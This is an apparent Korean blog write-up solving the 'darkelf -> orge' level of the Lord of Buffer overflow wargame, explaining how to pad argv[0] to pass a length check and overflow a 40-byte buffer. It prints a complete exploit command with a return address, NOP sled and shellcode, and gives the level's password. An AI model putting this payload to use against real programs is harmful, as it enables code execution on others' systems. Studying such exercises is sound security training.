본문 바로가기
  • True knowledge exists in knowing that you know nothing. -Socrates-
Study/lob

LOB 5 (darkelf -> orge)

by intadd 2017. 6. 12.

LOB darkelf -> orge 문제 풀이


1. 소스코드 분석 



문제는 동일 합니다. 하지만 달라진 것은 argv[0]의 길이가 77이 아닐 때 종료 시킨다는 것 입니다.
if(strlen(argv[0]!=77){} 

그럼 일단 우회 하는 방법으로는 

.//////////////////////(77개) 로 하는 방법이 하나 있습니다.

(./orege == .//////////////////////orege) 

다른 방법으로는 심볼릭 링크가 있는데 저는 1번째 방법으로 풀어 보겠습니다.



권한 문제 때문에 /tmp 폴더로 복사합니다.

gdb를 실행 시킬 때는 /의 갯수가 67개여야 합니다.


77-10(/tmp/.oreg)



확인을 해보면 정상적으로 종료되지 않고 프로그램이 돌아가는 걸 알 수 있습니다.


자 그러면 페이로드의 구조는 



argv[0] argv[1] argv[2]

77개//  buf[40]+sfp[4]+ret[4] "NOP + shellcode" 가 되겠습니다.

버퍼에다 넣어도 문제는 없지만 저는 argv2에 넣겠습니다.


`python -c 'print "."+"/"*72+"orge"'` `python -c 'print "A"*44+"\x60\xfb\xff\xbf"'` `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`



스텍에 적제 되는 실제 주소를 알기 위해서 core dump를 통해 알아 냅니다.

/tmp 폴더에서  Segmentation fault 가 발생하면 해당 폴더에 core dump가 생깁니다.

$gdb -c core 명령어를 입력하여 분석 할 수있습니다. 


이를 이용하여 



정상적으로 Nop(\x90)이 들어 갔습니다.

실제 프로그램이 돌 떄 argv[2]가 적제 되는 주소를 알 수 있습니다.


이를 이용하여 아래와 같이 공격합니다. (/tmp)



tmp 폴더에서 성공 했습니다. 다시 실제 프로그램에 공격합니다. (/home/darkelf)



password timewalker



'Study > lob' 카테고리의 다른 글

LOB 6 orge->troll  (0) 2017.06.12
lob tips (풀기전 알아야할 것들)  (0) 2017.06.12
LOB level6 (wolfman->darkelf)  (0) 2016.09.13
LOB level5(orc->wolfman)  (0) 2016.09.13
LOB level 4 (goblin -> orc)  (1) 2016.08.01

댓글